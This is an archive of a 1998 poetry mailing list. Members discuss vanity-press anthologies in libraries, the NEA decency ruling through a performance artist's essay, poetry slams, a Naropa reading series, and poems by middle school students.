On Tue, 30 Jun 1998, Fred Muratori wrote:

Re:

My university library currently houses 3 recent volumes of that
dreck. I'm going to forward the address to the acquisitions dept.
and ask them to stop supporting them.
...

Linda Russo

Good idea, since the library could certainly use that money for something
else (like supporting a few lit mags with subscriptions). Then again,
university libraries acquire things for all kinds of reasons, some of which
are political (in the local sense). It wouldn't surprise me if someone --
a vocal someone -- within the institution had poems included in the
anthology and demanded that the library buy it. I know of one distinguished
faculty member (tenured, Law School) at my own university who was taken in
by the Nat. Lib. of Poetry. He, like many others who don't follow the
poetry world all that closely, thought it was associated with the Library
of Congress, and didn't know it was a vanity scam until I broke the bad
news to him.
-- Fred M.

****
Fred Muratori
([redacted]*)*
Reference Services Division
*Olin * Kroch * Uris Libraries*
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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1033. Tom Orange
russian history tomes
Tue 30 Jun 1998

---

if i recall, the "standard" history is riasanovsky, listed below. it's what we used for our russian history course back in university days. tho it goes through stalin and into khruschev i believe, probably, alas, does not address the issues that morpheal and others raise.

bests,
t.

AUTHOR Riasanovsky, Nicholas Valentine, 1923-
TITLE A history of Russia / Nicholas V. Riasanovsky.
IMPRINT New York : Oxford University Press, 1977.

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1034. Taylor Brady
READING ANNOUNCEMENT
Tue 30 Jun 1998

Listmembers in and around Buffalo should check this out:

Scratch & Dent
(a slightly irregular reading and performance series)
presents an evening of
poetry in alternate tunings

with

Wendy Kramer

Stephen Cope

and

Joel Kuszai

Friday, July3, 8pm
@ Cornershop, 82 Lafayette

Taylor Brady
editor, Cartograffiti
http://writing.upenn.edu/spc/cartograffiti

(a publication of the Small Press Collective)
http://writing.upenn.edu/spc

<HTML>
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<P>Taylor Brady

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spc/cartograffiti</A>

<P>(a publication of the Small Press Collective)

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1035. **David Baratier**
Re: lib of poetry
Tue 30 Jun 1998

Fred and the others close to libraries (I deleted mail too quick) bring up an interesting point for the small press publishers on here. In my experience with trying to get issues into libraries, even with someone requesting material, every so often I have run into a panel situation where I send them a sample copy and the continuing subscription never is ordered. It only seems to happen at the largest of academic universities. Is this practice common?

Be well

David Baratier

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1036. **dbkk**
TIM MILLER RESPONSE TO SUPREMES DECISION
Tue 30 Jun 1998

Since I posted Tim's report of appearing before the Supreme Court, thought I'd follow through with his response to the decision. To me it's interesting how little his response has to do with Art as opposed to being Queer. Okay, let's be honest, I'm not thinking "interesting," I'm thinking "narrow-minded." Not that gay rights aren't important, but the ruling affects *everybody* who's doing sexually explicit material--and any arts org that hosts those doing sexually-explicit material. And his clothespins on testicles . . . didn't straight guy Bob Flannagan already do that?

Dodie

A SUPREME DRAG by Tim Miller

While I was performing last week in Texas (the Steers and Queer State) at Theater Lab Houston, I had to pause for a tiny moment as the naked, clothespins-on-nipples climax of my show moved through me. I realized that at that exact moment industrious little District of Columbia elves were probably proofing, collating, and stapling copies of the Supreme Court decision on whether "general standards of decency" were constitutional criterion as applied to federal funding of the arts. This was truly going to be the last roundup of the NEA 4 case. In 1990, I, a wandering queer performance artist, had been awarded a NEA Solo Performer Fellowship, which was promptly overturned under political pressure from the Bush White House because of the lush, wall-to-wall homo themes of my creative work. We so-called "NEA 4" (me, Karen Finley, John

Fleck and Holly Hughes), then successfully sued the federal government with the help of the ACLU (if you're not a card-carrying member, become one!) for violation of our First Amendment rights and won a settlement where the government paid us the amount of the defunded grants and all court costs. The last little driblet of this case was the "decency" clause, which Congress had added to the NEA appropriation under the cattle prod of Jesse Helms. Judge Wallace Tashima of the Ninth Federal Circuit Curt had sagely declared this "decency" clause unconstitutional from the bench and thrown it out. This could have been our happy ending, except for our supposed friend Bill Clinton (with friends like these who needs anal herpes?) who allowed the Justice Department to appeal this decision to the high court. Now we were going to have be subjected to the Supremes decision. "Which way are the feathers going to fly?" I pondered as I gave my all for the lovely audience in Houston last week in a humorous and sexy bit from the show based on my book Shirts & Skin. Shifting a clothespin from my right testicle to the left to "balance the energy", I wondered whether the Supreme Court was going to rightly determine that "general standards of decency" is very vague and designed to keep queer art out of the federal feedbag. (I know I'm over- working these cow and horse metaphors, but it works for the Texas setting of the performance, doesn't it?) What could be indecent about me anyhow? Is the fact that I am outspokenly a gay man indecent? Is the fact that my performance work lovingly details my experiences growing up queer in this fucked-up society indecent? Is the fact that I explore the rich terrain of sexuality, so full of feeling and discovery, indecent? Is the fact that I take off my clothes in my shows and try to acknowledge that our bodies actually exist under our clothes indecent? As I finished my show, full of all the complexity, memory and metaphor that naked queer flesh is heir to, I knew that it was just a matter of days before I would find out whether my indecent ass was grass. Let's face it, there in the Lone Star State, as it was in one third of these United States, it was still against the law to have queer sex! How much could I rationally expect from any governmental body in our troubled country? Well, if you read your newspaper not long ago, you'll know that the Supremes decided that it was okey-dokey not to fund "indecent art". The law "neither inherently interferes with First Amendment rights nor violates constitutional vagueness principles,'' Justice Sandra Day O'Connor wrote in her majority opinion. In a disappointing 8-1 decision the high court hitched up with Helms and his ilk and said the National Endowment for the Arts can consider "decency" in deciding who gets public money for the arts. I was grateful that at least Justice David H. Souter showed he was sensible to the reality of how under assault artists have been in this country for the last ten years. He was the lone Justice who dissented, saying the law should be struck down as unconstitutional because it was "substantially overbroad and carries with it a significant power to chill artistic production and display.'' I wasn't surprised when I heard the decision upon my return to my

home in Los Angeles. This was, after all, the same Supreme Court, if not the same white men in black robes, that had ruled in the 1857 Dred Scott decision that African-Americans could not come before the high court because they were not human beings or citizens. This was also the same court that decided in Bowers v. Hardwick in 1986 that it was constitutionally cool for the State of Georgia to have laws that make it illegal for gay people to have sex with one another in the privacy of their bedrooms! Understandably, I had low expectations all along that queer artists would be allowed our fair share at the Federal feedbag (that's the last cowboy reference, I promise!). Though it didn't really surprise me, part of me was still shocked when I heard their decision early in the morning on June 25. Can the justices not understand how censorious this language is? How often seemingly bland words like "decency" or "normal" or "natural" have been used to discriminate against lesbians and gay men and as weapons against us? I spent the day of the announcement doing dozens of interviews, spinning away the soundbites like the good gay artist/activist that I am supposed to be. I was available to whoever called - the New York Times, The Los Angles Times, the Australian Broadcasting Corporation, the Philadelphia Inquirer, and my Mom! But late in the day it started to really hit me. The Supreme Court, the big daddy court in the land, thinks it's okay not to support artists whose voice and vision is outside the middle-of-the-suburban-mall sensibility of some fantasy America. Yikes! I became very depressed. So depressed, I had to resort to two pints of Ben & Jerry's Cherry Garcia and a half-hour with an Eastern European gay porn movie. Then I became very pissed-off. Okay, Mr. & Ms. Supreme Court, the gloves are off. It's no more Mr. Nice Gay Guy! I am not going to be satisfied with small potatoes anymore. You could have gotten off easy with tossing a tidbit my way and allowing this queer artist the illusion that I am an equal citizen and worthy of support from the NEA should it be awarded. The truth is I didn't have a snowball's chance in a Houston heatwave to ever get support from the NEA again regardless of what decision the Supreme Court had made. So I am going to up the ante of what I expect from the US government. I now want the whole ball of wax, the cart and the horses, my cake and the eating too! You see, I've got a little list. I'm not going to be content anymore with the odd NEA grant that used to get tossed to gay film festivals and queer performance artists. I want the full measure of my rights as a gay American citizen. I want it now! I want the Employee Non-Discrimination Act passed by Congress yesterday. I'm sick of this shit that lesbians and gay men can be fired without recourse from their jobs, fired just because of who they are! And while we're at it, repeal all the damn sodomy laws in those last medieval states that still have them on the books. These bigoted statutes make the US an outlaw nation that could not participate in the economic community of European nations without striking them all down. Not only does this country censor our queer art, but they also make laws against our queer bodies! Cut it out, now! I want the

government to put at its highest priority the creation of safe streets for lesbians and gay men. Why is it that I have to find it not surprising that two of the men I have been in major relationships with have almost been killed in gay-bashing incidents? Fix it quick or I'm going to get cranky! I want the anti-gay military shit to stop right now! I'm over it! Hey, you generals, don't ask me, don't tell me anything! Get off your five-star dildo and make the military safe for the dykes and fags that want to be there and are not bothering anybody. (You won't find me in uniform, but that doesn't matter). Leave the queers alone and, instead, why don't you pick on the white supremacists the military seems to breed who end up exploding buildings and killing black folks! I want immigration rights for lesbian and gay men pronto! This is real personal because my boyfriend Alistair is from Australia. Our relationship is denied the rights that every heterosexual person has in this country to be able to turn their lover into a US citizen. It's like straight people are given this magic wand, "Poof, my love, you're a citizen! Have a green card!" Not long ago, I was speaking to the Diversity Council of the University of Arizona. They were meeting about gay couples and domestic partnership benefits. I was had been invited to this meeting while I was performing there in Tucson to give my perspective as someone who is in a bi-national relationship, which is not recognized by the US government. I started to do my stump speech "BLAH BLAH!" and then suddenly found myself weeping crazily at this big public meeting. All at once I actually felt the deep hurt of the fact that my relationship, this deepest personal place of who I love, is completely unseen and unvalued by my culture. I felt the terror in my guts that warns me that when Alistair's student visa runs out he will have to leave this country. Well, fuck you Judicial, Executive and Legislative bodies of the US government. Give me immigration rights for our lovers or I am going to get really unpleasant! And that reminds me of something else! While I'm on a roll, I want the whole kit-n-caboodle of full marriage rights too! Now that you've annoyed me, I'm not going to settle for any second class domestic partnership benefits. I want full church-sanctioned marriages. Any denomination that denies gay people our civil right/rite of marriage will lose their tax-deductible status. How 'bout them apples? One more thing, I want the government to guarantee us the man or woman of our dreams to marry! (This point is negotiable. I don't want to be unreasonable). Well, that is a good start. I'm sure more will occur to me, but I'm on a deadline. Lovely readers, feel free to add a couple of dozen of your own demands too! I don't want this outrage from the Supreme Court to depress me anymore than it already has. I can't afford too many pints of Ben & Jerry's. After all, I need to stay on the naked performance artist diet! I would rather get pissed-off and feisty and look forward to the day when this particular decision will seem as absurd and embarrassing as Plessy v. Ferguson does to us today (the 1896 Supreme Court ruling that said it was constitutional to make black people sit at the back of street cars). I will look forward to the time (in the not

too distant future, I hope), when a teacher will step before a community college class exploring late twentieth century social movements and say, "Now, students, I know it is shocking to believe this, but there was once a time as recent as the late 1990's when lesbian and gay men were actually denied certain civil rights within our democratic society. The Supreme Court even upheld a series of laws that constitutionally discriminated against them!" Until that day in school, I'm in it for the long haul.

Tim Miller is a solo performer whose full-evening theater works have been presented all over the world. He is Artistic Director of Highways Performance Space in Santa Monica and teaches at Cal State LA in the Department of Theater Arts and Dance. His book Shirts & Skin is currently available from Alyson Publications.

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1037. **Chicago Review**
Re: LVNGs! LVNGs!
Tue 30 Jun 1998

David :

You may have already recieved a reply to your query about LUNG, but there has been a slight delay. Michael OLeary should be sending them out fairly soon. All the best, Devin Johnston

---
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

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1038. **Fred Muratori**
Re: [Fwd: Natl. Lib. of Poetry page]
Tue 30 Jun 1998

Re:

> *My university library currently houses 3 recent volumes of that dreck. I'm going to forward the address to the acquisitions dept. and ask them to stop supporting them.*
> *...*
>
> *Linda Russo*

Good idea, since the library could certainly use that money for something else (like supporting a few lit mags with subscriptions). Then again, university libraries acquire things for all kinds of reasons, some of which are political (in the local sense). It wouldn't surprise me if someone -- a vocal someone -- within the institution had poems included in the anthology and demanded that the library buy it. I know of one distinguished faculty member (tenured, Law School) at my own university who was taken in by the Nat. Lib. of Poetry. He, like many others who don't follow the poetry world all that closely, thought it was associated with the Library of Congress, and didn't know it was a vanity scam until I broke the bad news to him. -- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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1039. **Eryque Gleason**
Re: [Fwd: Natl. Lib. of Poetry page]
Tue 30 Jun 1998

---

some of the other recent titles have been even worse. wish i had them handy to show, but i'll say that they wouldn't even qualify as dreck good enough for hall-mark cards.

i wish there were a way to take the name "National Library of Poetry" from them, they don't seem to be anything besides a commercial vanity press, much less a national library

eryque

On Mon, 29 Jun 1998, linda russo wrote:

> *My university library currently houses 3 recent volumes of that dreck. I'm going to forward the address to the acquisitions dept. and ask them to stop supporting them.*
>
> *Just for a giggle, here's the anthology titles:*
> *Isle of View -- '97*
> *Through the Hourglass -- '96*
> *Windows of the Soul -- '95*

> *thanks, David Baratier, for bringing that webpage to my attention.*
>
> *Linda Russo*
> ** @ * % * & * # **
>
> *with only the sound of the mimeograph "kachucking"*
> *and the pages swishing down . . . (Maureen Owen)*

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1040. **Mark Prejsnar**
Poetry in the libraries
Tue 30 Jun 1998

On the other hand, Fred, as an acquisitions person who has worked at an array of different large universities, and several other sorts of libraries, i believe Linda has a fair shot at having an impact....Often the acquiring of this sort a' thing is just the collections development process zipping along on automatic pi-lot. And very often acquisitions/collection development people are *extremely* happy to have input from their user-population, about what should or shouldn't be acquired....

As i have posted before on the List, people can often have more impact than they think on the university or public library that they patronize... And so i strongly encourage everyone to request the purchase of the poetry they think is important; remember,

"only you can stamp out the mainstream."

mark
@lanta

On Tue, 30 Jun 1998, Fred Muratori wrote:

> *Re:*
>
> *My university library currently houses 3 recent volumes of that*
> *dreck. I'm going to forward the address to the acquisitions dept.*
> *and ask them to stop supporting them.*
> *...*
>
> *Linda Russo*
>
> *Good idea, since the library could certainly use that money for something*
> *else (like supporting a few lit mags with subscriptions). Then again,*
> *university libraries acquire things for all kinds of reasons, some of which*

> *are political (in the local sense). It wouldn't surprise me if someone -- a vocal someone -- within the institution had poems included in the anthology and demanded that the library buy it. I know of one distinguished faculty member (tenured, Law School) at my own university who was taken in by the Nat. Lib. of Poetry. He, like many others who don't follow the poetry world all that closely, thought it was associated with the Library of Congress, and didn't know it was a vanity scam until I broke the bad news to him.*
> *-- Fred M.*
>
> **********
> *Fred Muratori*
> *(*[redacted]*)*
> *Reference Services Division*
> *Olin * Kroch * Uris Libraries*
> *Cornell University*
> *Ithaca, NY 14853*
> *WWW: http://fmref.library.cornell.edu/spectra.html*
> **********

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1041. **Fred Muratori**
Re: Poetry in the libraries
Tue 30 Jun 1998

>On the other hand, Fred, as an acquisitions person who has worked at an
>array of different large universities, and several other sorts of
>libraries, i believe Linda has a fair shot at having an impact....Often
>the acquiring of this sort a' thing is just the collections
>development process zipping along on automatic pilot. And very often
>acquisitions/collection development people are *extremely* happy to have
>input from their user-population, about what should or shouldn't be
>acquired....
-
mark
@lanta

And as a reference librarian at a large research library for the last 17 years, I can say that my experience corroborates yours. In fact, that's the point I was trying to make: that it's likely a single individual requested that the Nat. Lib. of Poetry anthology be acquired in the first place (though things like this also come in as a gifts now and then). A vanity publication is unlikely to appear on very many automatic blanket order profiles a university library might use to streamline the collection development process. From what I've seen -- and I

send dozens of purchase requests to collection development every week -- requests for individual poetry titles or subscriptions to little mags are as a rule taken quite seriously. So, yeah, everyone, tell your libraries what you want to see on their shelves and the chances are good it will end up there.

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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1042. **R. Gancie**
Dear Hypatia
Tue 30 Jun 1998

"My thesis, which owes a lot to Wittgenstein (1953), is that whenever human behavior is analyzed in terms of rules, these rules must always contain a ceteris paribus condition, i.e., they apply "everything else being equal," and what "everything else" and "equal" mean in any specific situation can never be fully spelled out without a regress. Moreover, this ceteris paribus condition is not merely an annoyance which shows that the analyisis is not yet complete and might be what Husserl called an "infinite task." Rather the ceteris paribus condition points to a background of practices which are the condition of the possibility of all the rulelike activity. In explaining our actions we must always sooner or later fall back on our everyday practices and simply say "this is what we do" or "that's what it is to be a human being." Thus in the last analysis all intelligibility and all intelligent behavior must be traced back to our sense of what we are, which is, according to this argument, necessarily, on pain of regress, something we can never explicitly know."---from From Micro-Worlds to Knowledge Representation by Hubert L. Dreyfus---cp

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1043. **Mark Weiss**
Re: [Fwd: Natl. Lib. of Poetry page]
Tue 30 Jun 1998

"Isle of View" is not a bad pun, tho.

At 05:14 PM 6/29/98 +0000, you wrote:
>My university library currently houses 3 recent volumes of that
>dreck. I'm going to forward the address to the acquisitions dept.
>and ask them to stop supporting them.
>
>Just for a giggle, here's the anthology titles:
>Isle of View -- '97
>Through the Hourglass -- '96
>Windows of the Soul -- '95
>
>thanks, David Baratier, for bringing that webpage to my attention.
>
> Linda Russo
> * @ * % * & * # *
>
> with only the sound of the mimeograph "kachucking"
> and the pages swishing down . . . (Maureen Owen)
>
>

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1044. **nuyopoman**
Slams
Tue 30 Jun 1998

<<Slams have always struck me as thinly veiled Public Relations events held to "showcase" various "personalities" who are looking for a spot in a beer commercial.>>

Slams allow you to go to a poetry reading without having to admit you've been to a poetry reading.

There are 45 Slams sending teams to the Nationals this year in Austin.

Pinsky had an interesting OpEd piece in Times yesterday. He and Hillary went to a slamn at a Washington afterschool program and were blown away. The efficacy of poets like Kenny Carroll and DJ Renegade leads Pinsky to suggest that MFA poets be allowed to teach poetry in high/middle schools.

Bob Holman

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1045. **juliana spahr**
yamanaka protest, dan's questions
Tue 30 Jun 1998

The panel was held to discuss whether the membership wanted to take away the award. Apparently on Sunday, or so I've been told, the award was given and accepted by three of Yamanaka's students (who were Filipina; I'm not sure if they identified at the acceptance as such or if the person who told me this knew them to identify as such), then the membership met, had a vote, and took away the award. I'm trying to get more details.

A mainland haole is a white person from the mainland. Haole means white more or less (the Hawaiian dictionary ties it to a type of white pig but there are many narratives of what the word means; the joke is: when whitie moves to Hawai'i, he/she has three things he/she can be: a haole, a stupid haole, or a fucking stupid haole).

I'm more or less joking about the authorization. But there is a strong sentiment that people from the outside should not talk on local issues. We tend to get it all wrong.

I'm even hesitating to say such though b/c everytime I've brought up this anger that there is here about people from outside coming and appropriating or mis-telling Hawai'i I get these long tirades on how the basis of writing is story telling or whatever. (And then I begin to understand the don't talk about (complain about) Hawai'i to people on the mainland sentiment that is also prevalent.) I agree and normally when someone tells me not to speak on something, I feel like I might as well try and see if by trying I can learn something, but I also feel I need to at least make the moves that declare what I am and how I am coming at the place from the outside. History here is so built on contradictory stories, and which stories one tells unfortunately tend to be tied up with one's ethnicity, etc., that to confess one's position when writing on local issues seems necessary.

> *Date:*
> *Mon, 29 Jun 1998 10:26:43 -0400*
> *From:*
> *daniel bouchard*
>
> *Juliana,*
>
> *Thanks for this intelligent report on an important issue. It ties in to a lot of recent discussion here I think. My question is: was the panel and forum held in order to discuss rescinding the award, or some other kind of*

> *action to be taken?*
>
> *Also, I wonder about your disclaimer: what is a "mainland haole," why does the disclaimer have a ring of "I am not worthy" in it, and whose authorization of the report would have been desirable?*

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1046. Charles Alexander
Re: [Fwd: Natl. Lib. of Poetry page]
Tue 30 Jun 1998

At 01:08 PM 6/30/98 -0700, you wrote:
>"Isle of View" is not a bad pun, tho.

Used to good effect on the Jimmie Spheeris album, circa 1971, of that title, which I think has just been re-mastered and made available again, although I'm not certain it's being widely distributed. Old love music, for whatever reason particularly popular through the southern great plains at the time.

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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1047. Mark Weiss
Re: Slams
Tue 30 Jun 1998

Actually, Bob, that's not what Pinsky said. He wants poets with MFAs to teach in public schools without having to take any education courses. That's a bit of a leap of faith, and besides, in most jurisdictions the course requirements for a teaching license are pretty moderate.

It's good, I guess, for our laureate to act as a pr man for poet employment, altho I suspect that he's being more a shill for the MFA programs. Otherwise, why the academic prerequisite?

At 04:31 PM 6/30/98 EDT, you wrote:
><<Slams have always struck me as thinly veiled Public Relations
>events held to "showcase" various "personalities" who are looking for a
>spot in a beer commercial.>>
>
>Slams allow you to go to a poetry reading without having to admit you've been

>to a poetry reading.
>
>There are 45 Slams sending teams to the Nationals this year in Austin.
>
>Pinsky had an interesting OpEd piece in Times yesterday. He and Hillary went
>to a slamn at a Washington afterschool program and were blown away. The
>efficacy of poets like Kenny Carroll and DJ Renegade leads Pinsky to suggest
>that MFA poets be allowed to teach poetry in high/middle schools.
>
>Bob Holman
>
>

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1048. **Charles Alexander**

Re: Slams

Tue 30 Jun 1998

> *Pinsky had an interesting OpEd piece in Times yesterday. He and Hillary went to a slamn at a Washington afterschool program and were blown away. The efficacy of poets like Kenny Carroll and DJ Renegade leads Pinsky to suggest that MFA poets be allowed to teach poetry in high/middle schools.*

be allowed to???

what's stopping them?

although I hope he didn't mean students specifically seeking the mfa. That's a touchy one, fresh to me from recent PTA meetings. Some parents wanted to get students (undergrad and possibly grad students, instead of professional artists) to teach as artist residents for short stints in our child's elementary school, specifically because, as the parent argued, they didn't require a lot of remuneration, thereby getting "more bang for the buck." Because I'm involved with artists all the time (either with MFA's, or with more than the equivalent in terms of life experience in the arts) who are trying to get such gigs, that one bothered me. But I also think it's probably insulting to the student artists, and I would make the argument that we wouldn't want students as the 'regular' or 'primary' teachers of the children at these schools, so why would we want students as the arts specialists in these schools. The children deserve the best.

But if Pinsky is arguing that MFA faculty ought to teach poetry in high/middle schools, then I think I like that idea for what it would give to those faculty members, but I'm not sure I like what it might give to the students.

maybe poetics list members should teach in high/middle schools?

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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1049. **Laura E. Wright**
Re: Poetry in the libraries
Tue 30 Jun 1998

I second, third, fourth, etc. this (Mark Prejsnar's post). As the main acquisitions person for a small library, simultaneously being a supervisor, a cataloger, managing basic operations, and fielding reference questions, I delight in suggestions and requests. Even on our relatively tiny budget, it's rare for us to ignore requests. Library collections, at least such as this one, exist for the patrons who use them.

--Laura W.

Mark Prejsnar wrote:

> *On the other hand, Fred, as an acquisitions person who has worked at an array of different large universities, and several other sorts of libraries, i believe Linda has a fair shot at having an impact....Often the acquiring of this sort a' thing is just the collections development process zipping along on automatic pilot. And very often acquisitions/collection development people are *extremely* happy to have input from their user-population, about what should or shouldn't be acquired....*
>
> *As i have posted before on the List, people can often have more impact than they think on the university or public library that they patronize... And so i strongly encourage everyone to request the purchase of the poetry they think is important; remember,*
>
> *"only you can stamp out the mainstream."*

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

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1050. **Pritchett,Patrick**
Re: More from Naropa
Tue 30 Jun 1998

Thursday evening last, June 25, the Summer Reading Series at Naropa began with a reading from Barbara Guest:

(Somebody told me she was 78 or thereabouts. Well, she looked wonderful). Reading in a slow, grave voice, she opened with the title poem from _Defensive Rapture_.

Width of a cube spans defensive rapture
cube from blocks of liquid theme
phantom of lily stark
in running rooms

And from "Dissonance Royal Traveller," in that same volume:

sound opens sound
shank of globe string floating out

***

the moon aflame on its plaza

Which might aptly serve as a description of this subtlest of poet's modus operandi.

Following she read "The Advance of the Grizzly," - "who will walk out of the plush interior into/the excited atmosphere?" and then new work, some of it currently featured in New American Writing #16. Her purpose in this new work, she told us, was to limit herself to poems of one page in order that she might "restrict myself to certain things."

"The flower being the subject, it should not be allowed to shadow the page... it may be that absence is the subject of the poem."

Poems froms this set included "Deception," "Valorous Vine," and "The Green Fly," written about the remains of the warrior unearthed from the mounds at Sutton Hoo and now housed at the British Museum - it still gives her a shiver even when she's just walking past it outside.

Multiple tunes sunrise gloaming

auditorium light.

Naked in thy boat.

Guest closed with "Leaving Modernity," ("a subject that saddens me"), from _Quill, Solitary Apparition_, a work whose genesis she recounted as having

taken place while gazing upon the plane trees in the moonlight outside Wheeler Hall at Berkeley.

that perpendicular
restive procedure of stone

(and the buttress)
the mouthing mouthing

(not apparition)
Not Apparition

larger and further away.
the dark rhyming.

What Has The World Done?

The minimalist architecture of Guest's poems operates to maximal effect, creating an impression that is at once sensuous and haunting. This is a music of serious patience and deep attention, in which what can be found only in the lacunae between things are allowed to appear. Her work is delicate but never precious - exemplifying the rare impoverishment necessary to achieve the most extraordinary luminosity. A poetry of great slow inhalations - the spanning of time, the absences contained therein, accomplished by a precise sequence of vowels strung like lattice work, like tesserae, across the open space of the breath.

###

Peter Gizzi read next: poems from his new book from Burning Deck, _Artificial Heart_. Lines from "From A Field Glass" -- "now that children are playing on this street their game will become an entire century... the object is the space where lines return to figure..." This was followed by "Toy," and then "Ding Repair," also included in the marvelous _An Anthology of New (American) Poets_. A ding, as Peter explained for non-West Coasters, is a small gouge in a surf board; the sign "ding repair" hangs in surf shop windows all season long. The poem itself is a response to his move west - to the idea of order and disorder in the far west, "America in extremis," as he put it (bringing to mind Louis Simpson's _At The End of the Open Road_, for one).

Imagining another home far from here
not from where we have come but from where we imagine,
where vulnerability won't reproduce cruelty.

***

little flowers dot the hills, for they too
are a part of themselves...

***

Think of an empty closet, some childhood there
an odor of cedar, order of secrets repeat
their sequence and the useless treasure of an ending.

After this came "Fables of Critique" and "Tout Les Matin Du Monde," and then Gizzi closed with a long, powerful piece, ala Cesaire, - a huge rush of muscular lyricism that was much a confrontation with lyric as an expression of it, and that hinged on the repeated phrase, "The heart of poetry is..." as in "The heart of poetry is fatigue, it makes the space around a toy majestic."

Gizzi's poetry, in part it seems to me, takes much of its shape and force from the need to respond to or reconfigure the condition of exile (physical or spiritual). At the same time, it both enacts and offers a highly self-conscious critique of the ways in which the narrative impulse seeks to alleviate the anxiety we feel at the unanswerable mystery of being alive.

###

Mei Mei Berssenbrugge closed the evening. Her first poem was "Health," from her new book, _Four-Year Old Girl_ (forthcoming from where?). Her long long lines defy excerpting though I did manage to catch this fragment of one: "orange light collects on the horizon like an anatomical drawing." "Health" is a meditation on the female body, specifically on a pregnant female body - on images of uterine space, on embryo, fetus, placenta - on slow nurturing and emergence.

Next, from the same book, she read "Kali" - an entirely different evocation of the feminine, a poem of ceremony and initiation using a dry, almost scientific language that deliberately defied the lyrical yet was invaded by it anyhow at various points around the margins. The phrase "since this communication stretches indefinitely" I thought offered the evening's second apt self-description of poetic M.O.

Following this came "Suzi Kiki Annie" - a poem smart with a sense of sly deadpan humor that Mei Mei almost apologized for having written in short lines ("walking toward two animals asleep in late light like blood") (and this gem of a line, I feel like I heard it a dream: "the ambiguity releases energy"). She closed with a very funny poem entitled "Dressing Up Pets."

Berssenrbrugge's poetic practice remind me of a perpetual motion machine in which ambiguity is the fulcrum and principle of a constant becoming, a constant entering-into-somewhere-else. The ambition of her long line is not to circumscribe the world, but to inscribe it, unceasingly, if that were possible, affecting an endless stratigraphy that is also simultaneously a kind of en-presencing to the flow of time, time in the line, limber and sinewy and yet also packed with

hard, distinct nodes of thought and emotion. The line as instrument to disclose the infinite fragility of the human condition, its hesitations, contradictions, refusals and assentings - its great heap of qualifications, ongoing. Its infinite beautiful distinctions.

Patrick Pritchett

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1051. **morpheal**
Re: lib of poetry [what I suggest we should do]
Tue 30 Jun 1998

> *Fred and the others close to libraries (I deleted mail too quick) bring up an interesting point for the small press publishers on here. In my experience with trying to get issues into libraries, even with someone requesting material, every so often I have run into a panel situation where I send them a sample copy and the continuing subscription never is ordered. It only seems to happen at the largest of academic universities. Is this practice common?*

David, being the wealthiest poet in North America, according to your own admission of the fact, you might know that poets in some parts of North America DONATE copies of their works, gratis, to those kinds of institutions.

I know of several who are donating, or have donated, their entire archives as well as having donated copies of all their books.

In fact I think it is becoming an increasingly common practice.

So, this is what I suggest you do: donate to them. They are sure to appreciate.

M.

↑ Index

1052. **Mark Weiss**
Re: lib of poetry [what I suggest we should do]
Tue 30 Jun 1998

As a small press publisher I'd advise doing this on a very selective basis. Otherwise there will be no publishers, as library sales are the mainstay of the business, and damned few poetry books as a result.

At 08:03 PM 6/30/98 -0400, you wrote:
>>Fred and the others close to libraries (I deleted mail too quick) bring
>>up an interesting point for the small press publishers on here. In my
>>experience with trying to get issues into libraries, even with someone
>>requesting material, every so often I have run into a panel situation
>>where I send them a sample copy and the continuing subscription never is

>>ordered. It only seems to happen at the largest of academic
>>universities. Is this practice common?
>
>David, being the wealthiest poet in North America, according to your own
>admission of the fact, you might know that poets in some parts of North
>America DONATE copies of their works, gratis, to those kinds of institutions.
>
>I know of several who are donating, or have donated, their entire archives
>as well as having donated copies of all their books.
>
>In fact I think it is becoming an increasingly common practice.
>
>So, this is what I suggest you do: donate to them. They are sure to
appreciate.
>
>M.
>
>

↑ Index

1053. **Laura E. Wright**
Re: lib of poetry
Tue 30 Jun 1998

David Baratier wrote:

> *Fred and the others close to libraries (I deleted mail too quick) bring up an interesting point for the small press publishers on here. In my experience with trying to get issues into libraries, even with someone requesting material, every so often I have run into a panel situation where I send them a sample copy and the continuing subscription never is ordered. It only seems to happen at the largest of academic universities. Is this practice common?*

Well, I can't speak for large libraries, but we often receive samples -- of various and sundry types -- that we even might be intrigued by, but don't follow up on. Subscription is thorny, as we work through a "jobber" and subscription costs increase on a yearly basis, complicating our already limited funds. In addition, we have been known to refuse or discard donations (albeit not small press poetry) because of serious space and storage problems. Yet if patrons request something in particular, we will go out of our way to get it. This isn't just a case

of squeaky wheels, but also that we want our collection to consist of stuff people want to read.

Mark Weiss has a good point, too. As small as our budget is for an institution, we've got a lot more to throw around than most individuals. Libraries, as foci for availability of information, should support the sources of this availability.

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

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1054. **Jordan Davis**
they don't?
Tue 30 Jun 1998

Actually, many poets _do_ teach middle and high school. Conversely, many middle and high school students like poetry and prefer stranger kinds of writing. Here are a couple of poems by middle schoolers at the School for the Physical City in Manhattan:

POEM

meaning of poem
America is not contrary to popu-
wow said Mr. Pinsky. After
students and an adult literacy stu-
we too are a virtual part of America.
        and Mike Wallace read those guys
ments came as poems were read by
was also the opening day of National
happy to say I'm not the Mayor of Mr.
Town Hall to read selections of their
relishing their
the reading which brought about
archive of 1,000 average America
weren't bad
to asking a parent to pick a favorite.

--David Frey

IT'S ALWAYS FAIR

I will never finish any of this
because I decided to boycott all the things I need
Nowadays I dine in and take my drinks in the Mediterranean
Sometimes I'm the stone people tend to send
skipping over ripples in a lake
and I've always slept like a rabbit
I am on everywhere's vacation to anywhere
I am a big shiny disco ball that loves people who dazzle
and makes the seagulls choke on their own ocean

--Molly Ahern

